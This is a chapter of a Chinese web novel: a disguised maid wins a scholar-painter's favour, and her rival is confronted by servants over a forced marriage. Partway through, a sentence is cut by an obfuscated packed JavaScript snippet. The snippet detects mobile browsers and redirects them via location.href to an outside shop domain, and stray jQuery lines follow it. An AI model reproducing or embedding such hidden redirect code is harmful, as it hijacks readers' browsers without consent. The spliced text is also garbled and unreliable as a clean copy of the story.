105. 规矩

作品:《柔弱小丫鬟彻底杀疯了

    孟夫子愣了许久,才不自然道:“老,老夫来?”


    “当今画坛,能与画圣隔世神通者,非孟夫子莫属。”凌青的语气平静,“您不仅文采斐然,品行高洁,更有一手鬼斧神工的丹青绝技。这画龙点睛的最后一笔,除了您还有谁?”


    说着,凌青已将那支补画用的狼毫,双手奉上。


    “…………”高帽给他戴的这么高,此时要是不画,那就的下不了台面了。


    孟夫子长长一叹,拂了拂胡须:“罢了。”


    他接过笔。


    当他握住画笔的那一刻,整个人的气场骤然一变。


    他光看外表,不过是个古怪滑稽的小老头,声音又带着几分不正经。可如今………他这拿起画笔的模样,没有人能不说他是位画道宗师。


    他面容严肃,提起笔来。


    笔锋或提或按,或枯或润,先是以淡墨画出被墨色掩盖的山石肌理,那笔法,竟与画圣裴玄卿的笔画如出一辙。紧接着,他笔锋一转,寥寥数笔,一个身披蓑衣、独坐孤舟的渔翁形象便跃然纸上。那渔翁微微颔首,神态孤高清远,仿佛已在苍茫江雪上,静坐了千年。


    凌青不由屏住了呼吸———


    这手法………怕是与原作手法也丝毫不差吧?其神韵风骨,与原作已然融为一体。


    “孟夫子果然…………”凌青由衷赞叹道:“鬼斧神工,晚辈佩服!”


    “…………”


    孟夫子沉默地放下笔,看着眼前天衣无缝的画卷,神情复杂。


    良久之后,他才“哼”了一声,语气却已不复之前的尖酸。


    “………你倒是听话,让你干什么就干什么。老夫折磨了你这几天,你还能如此好态度,你这种能包容的脾性,世间少有,哪是他们说的桀骜难驯,最不屑于奉承?”


    只是这话和之前相比,说得有些没底气。


    凌青抬起头,迎上他的视线。


    她缓缓开口道:


    “先生是我素来敬仰之人,晚辈心怀敬意,自然要礼貌相待。”


    “…………老夫怎么没看出你很尊敬我?”


    “至少一进门的时候,礼数都很周全。”


    “这倒是,只是后面两天………”


    “那就是了。”凌青打断他,目光坦然:“晚辈心中有尺。对那些不在意的人,我或置之不理,或皮里阳秋,或勉强给个笑脸,皆是敷衍。可若碰见真正钦佩之人,性情里的棱角,也自然会为之收敛磨平。”


    “…………”


    这番话说得坦白至极,孟远山听得一愣,紧接着竟是抚须大笑起来。


    “好!好一个心中有尺!你这番话,虽听着狂悖,却道出了无数人藏于心底的真实。你的确不虚伪,够坦荡!只是………”


    他笑声一收,眼神陡然变得凌厉。


    “……先是礼貌温润,其实就是试探,看我吃不吃这套。发现老夫有意刁难于你,你便顺势应下,展现自己的奇才与风骨,最后再道出这番仰慕之言,是为攻心……”


    他身子微微前倾,目光如炬,死死看着凌青:


    “你,是真的仰慕老夫?还是为了谋得这抄书吏的差事,专程设局,说些好听的话来哄骗老夫?”


    话音落下,院中的气氛仿佛瞬间凝固。


    这一问,的确刁钻,直指人心。


    周围一切仿佛都变得紧张至极,而孟远山的目光,也始终如鹰隼般死死地看着凌青,势要问出一个答案。仿佛只要凌青露出一丝细微的差错,他就能抓到一般。


    凌青始终面无表情。


    许久,在孟远山几乎要失去耐心时,她终于开口了。


    她没有回答那个问题,而是用一种清冷沉静的声调,背诵道:


    “君子立世,如孤松独立,不求茑萝相附。………”


    听到第一句,孟夫子蹙起眉,可听到后面时,他脸色瞬间变了。


    “……众人之誉,如过眼云烟,何足挂怀?为五斗米折腰,非丈夫之所为;为他人之色变貌,乃伪人之行。吾性自孤,吾道自珍………”


    凌青的声音不疾不徐,一字一句,字字沉稳。她看着孟远山,说完了最后一句:


    “………纵天下非之,亦不改其节。”


    “……………”


    当最后一句落下,孟远山已经彻底怔在了原地。他眼中满是震惊与不敢置信,:“你………”


    凌青朗诵完毕,对着他深深一揖。


    “这是先生您七年前所作的《孤松论》。晚生年少时偶然于旧书坊得见,读之,便久久不忘。”


    “《孤松论》……”


    孟远山陷入了长久的回忆,喃喃道:“是啊,七年前……老夫都快忘了,自己还写过这样的文章了……”


    “先生没忘。”凌青抬起头,目光灼灼地看着他。


    “先生只是将这篇文章藏得更深了。晚悲之所以仰慕您,并非仰慕您今日的身份地位,而是仰慕七年前,那个写下‘吾性自孤,吾道自珍’的孟夫子。那篇文章中的风骨,是晚辈一生所求。世人或许只道先生性情古怪,可在晚辈看来,先生的所有古怪,不过是在用自己的方式,去守护那份‘不改其节’的孤傲罢了。”


    “…………”


    这番从未听过的见解,在孟远山的心底轰然炸响。


    他怔怔地看着眼前这个清瘦的少年。她目光冷漠,却依旧坦坦荡荡。那双眼睛,仿佛能穿透七年的光阴与世故,直抵他内心最深处的本我。


    ………


    知己………


    孟远山深深地、深深地看着她。


    终于,他眼神中所有的刻薄与锐利,都渐渐软化,最终化为一丝………欣慰的笑意。


    这世间,知己难求。


    许久之后,他轻咳一声。


    “罢了………”他道:“明日,你去京城南街的问渠书斋报道吧。”


    凌青熬了三天两夜,精神本有些飘忽,闻言猛地抬起头,一时竟没反应过来。


    “………啊?”


    她差点忘了自己来的目的。本以为还要再大费周章一番,没想到………


    “怎么,高兴傻了?”孟夫子斜睨她一眼。


    “我………”凌青反应过来,忙要去取文书,“这是晚辈的……”


    “不用,老夫不看这个。”他挥挥手:“这些你留着给书斋的人看吧。老夫看人只看对不对我胃口。否则,你哪怕是皇亲国戚,老夫也绝不给你个好脸色。”


    “………”凌青不由失笑:“那您之前是没看上晚辈?所以故意设计刁难?您是不是压根就没想过晚辈会解决此事?”


    “废话!”孟夫子眼睛一瞪,“那幅画毁了之后,老夫找了多少名家都束手无策!我当然以为此法不通,谁想到你这小子……”


    真有几分邪门歪道!”


    “行了,你去吧………”孟夫子看着她疲惫的样子,摆了摆手。


    “多谢夫子。”凌青又深深一辑,这才要走。


    “你………”


    孟夫子在她转身时,忽然又出声了。


    “嗯?”凌青回过头来。


    “………你这人,虽然看着不像什么好东西,滑头又嘴毒,也没什么男子阳刚的气概,但…………”


    他似乎有些不好意思,捋了捋胡须。


    “………但还勉强有点灵性。老夫虽然不收徒,老夫虽不正式收徒,但偶尔指点一二也无不可。你日后得空,便过来吧。”


    “………”


    凌青愣住了。


    许久之后,她终于卸下了连日来的疲惫与紧绷,展颜一笑,笑容明亮如初雪:


    “是,这是晚辈的荣幸。”


    ————


    陆府。


    屋内,一片狼藉。


    汝窑茶杯的碎片溅得四处都是,深褐色的茶渍缓慢地渗入地毯里。空气里,弥漫着一股子茶叶的苦涩味道。


    陆皎又在歇斯底里地发疯。


    “该死!该死的凌青!她怎么这么好命,又躲过去了!!还白白搭进去一个丫鬟!”


    她气得浑身发抖,娇艳的脸庞彻底扭曲。


    “她定是早就提防着,竟然一点当都没上!这该死的凌青,凭什么有这么大的能耐,每次……每次都能让她安然无恙地脱身!”


    她想起那日,她不甘心就此罢休,便派人去月露榭传话,想将凌青叫出来狠狠羞辱一番,逼她承认她去了父亲的院子。可等来的,却只有一句轻飘飘的回复——


    “凌青姑娘家中突有要事,已向府上告了半个月的长假。”


    半个月!


    陆皎脸色更加狰狞。


    “她早就盘算好了一切,算准了我们拿她没办法,才敢这么肆无忌惮!现在倒好,直接躲起来了!她以为躲起来就没事了吗?!”


    她在这近乎癫狂,可她对面的人迟迟没有说话。


    “喂,我跟你说话呢!”


    “………”


    陆砚修在窗边坐着,一言不发。他手中捧着一杯茶,茶水早已凉透,他却浑然不觉。他只是静静地看着窗外,目光虚无,仿佛在想着什么事情。


    “你这今日怎么了,我跟你说什么你都发呆!”


    陆皎的怒火本就没地方发泄,只能尽数倾倒在亲弟弟身上。她大步走过去,毫不客气地推了他一把。


    陆砚修被她推得一个趔趄,杯中的茶水险些洒出来。他这才如梦初醒般回过神,眼中还有些未散尽的茫然。


    “………你刚刚说什么?”


    “我说,凌青那个贱人!!她告假躲起来了!”


    “………”


    陆砚修似乎没有听到一样,只是喃喃自语道:“三姐……我总感觉,这一次,我们好像……惹上事了。”


    “废话!当然是惹上事了!”陆皎道:“惹上凌青那个索命的恶鬼,可不就是惹上事了!但她就算是恶鬼又如何,我陆皎也不是好惹的。我偏不信这个邪,母亲的仇,我一定要报,我非得跟她杠到底不可!”


    “不……”


    陆砚修摇了摇头,那张脸上,浮现出一种近乎恐惧的茫然。


    “不什么?你不会不想替母亲报仇了吧?!”


    “不是…………我是说……”


    陆砚修语气愈发恐惧:“总感觉……不止是她。”


    他这话,忽然让陆皎有些听不明白了:“不是她还能是谁?


    话音未落,门外,忽然传来一阵脚步声。那脚步声听着人不少,不像是院里伺候的丫鬟。


    两人瞬间噤声,对视一眼,缓缓站起了身。


    “砰————!”


    下一刻,那扇紧闭的房门,伴随着一声巨响,竟被人从外面粗暴地撞开了!


    姐弟二人顿时愣在当场。


    一个面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982437|177626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生的婆子率先走了进来,她约莫五十来岁,眼神精明而冷漠,看着有些瘆人。她身后跟着几个膀大腰圆的丫鬟和家丁,这些人一进门,便一言不发地散开,堵住了所有门口。


    “你们是谁?!好大的胆子!知道这里是什么地方吗?谁给你们的胆子闯进来的?!”陆皎又惊又怒,大声呵斥道。


    为首那婆子充耳不闻,只是用那双锐利的眼睛,将她从头到脚细细打量了一遍。那眼神,如同屠夫在估量一头待宰的牲口。


    半晌,那婆子才缓缓开口:


    “三小姐,奴婢奉命,来给您传句话。”


    陆皎刚要破口大骂,却在听到她的下一句话时,忽然愣住了。


    “您如今也到了该谈婚论嫁的年纪了。府里为您寻了一门好亲事,老夫人已经做主,让您嫁给户部员外郎王大人的胞弟。婚期就在下月初,没多少天了,您也该做些准备了。”


    “…………??!!”


    这番话像晴天霹雳一样,在陆皎和陆砚修的头顶轰然炸响。


    两人都完全懵了,不敢相信自己的耳朵。


    “你……你们在发什么神经?!”


    陆皎最先回过神来,惊道:“你们是谁?为何我在陆府从来没见过你们?你们得谁的指令,莫名其妙跑来跟我说这些?我什么时候说过要嫁人了?!”


    “这个嘛………”婆子轻轻一笑:“奴婢们也是奉主子命令行事,三小姐又何必为难奴婢。”


    “胡说八道什么!这什么破婚事,我从来没听说过,府里也没人通知过我!你们又算什么东西,凭什么越过我父亲,直接来跟我说这些!给我滚出去!!”


    她如此大发雷霆,若是寻常丫鬟婆子,早吓得跪地求饶。


    可那婆子毫无反应,只是嘴角露出了一丝讥诮:


    “三小姐,女儿家的婚事,本就不是您自己能做主的吧。寻常平头百姓如此,您哪怕是闺阁千金,也是如此。”


    “你…………”


    “您莫不是……还想着那位崔大人?可您也得瞧瞧自己如今的身份。您母亲犯下大错,当初您在宫里帮着她作恶,这种种笑话,整个京城谁人不知?如今能有魏家这样的好人家肯要您,您就该偷着乐了……”


    她慢条斯理地补上一句:“这门婚事,对您来说,已经是天大的福分了,您可别不知足啊。”


    “………”陆皎气得七窍生烟,声音凄厉::“滚出去!滚——出——去!!!”


    “三小姐,您可别意气用事。”


    “我叫你滚出去!!!!”


    那婆子看她这样,只是微微一笑,紧接着,就抛出致命一击————


    “庚帖已经交换,八字都合过了。这门亲,您是嫁也得嫁,不嫁………也得嫁!”


    庚帖交换!


    庚帖………都换了!!!


    陆皎瞬间全身一颤,所有的怒吼都堵在喉咙里。


    “怎么……怎么可能……”陆皎的脸色瞬间变得惨白。她不可置信地后退一步。


    庚帖已换,那便再无转圜的余地!这门她完全不知晓的婚事,就这么悄么声地定下了。


    她此时不知道是该哭还是该疯。


    她这些年各种犯贱,甚至不惜去求母亲,只为从陆沁手中抢走与崔家的婚约。她觉得女子的归宿至关重要,若要嫁,必得嫁给心爱之人。


    可如今,不但不是崔令徽,反而是一个小门小户,名字都没听说过的人!


    陆皎彻底感觉天塌了。


    “……你们到底是谁派来的?!”


    就在这时,陆砚修猛地站起身,死死盯着那婆子。


    “我父亲尚在任中,事务繁忙。祖母又年迈,从不过问府中事务!这陆府之内,究竟是谁有这么大的权力,敢在父亲不知情的情况下,私自交换我姐姐的庚帖?!说!是不是陆沁指使你们的?”


    他看着那婆子,试图从她脸上找出破绽。


    谁知那婆子丝毫没被他唬住,脸上那似笑非笑的表情反而更深了。她的眼神,仿佛在看一个自作聪明的跳梁小丑。


    “二公子,知道的太多,对您没好处。您只需要知道,这是府里的决定。为了三小姐好,也是为了……整个陆府好。”


    她不再理会陆砚修,目光重新落回到已经失魂落魄的陆皎身上。


    “………既然是待嫁之身,这性子,这规矩,就都得好好改一改了。”她的声音陡然变冷。


    陆皎似乎察觉到了什么不对劲,抬头看向她:“你………你要做什么?”


    这婆子不说话,只是一步步朝着陆皎逼近。


    她身后的两个粗壮仆妇也跟着上前一步,其中一人手中不知何时多了一把明晃晃的戒尺,另一人则从袖中取出一个针线笸箩,里面插满了长短不一的银针。她们三人脸上的表情,竟格外诡异和阴森。


    那婆子脸上的肌肉抽动了一下,露出一个令人毛骨悚然的笑容。


    “三小姐这般没规矩,日后嫁到夫家,丢的可是我们整个陆府的脸面。今日,老奴就奉命,先来好好教导教导您,什么叫……”


    她一字一顿,声音阴毒:


    “……待嫁新妇的本分!”


    陆皎看着那逼近的戒尺和银针,瞬间吓得魂飞魄散。她一步步后退,直到后背抵住冰冷的墙壁,退无可退。


    “不……不要过来……啊—————!!!”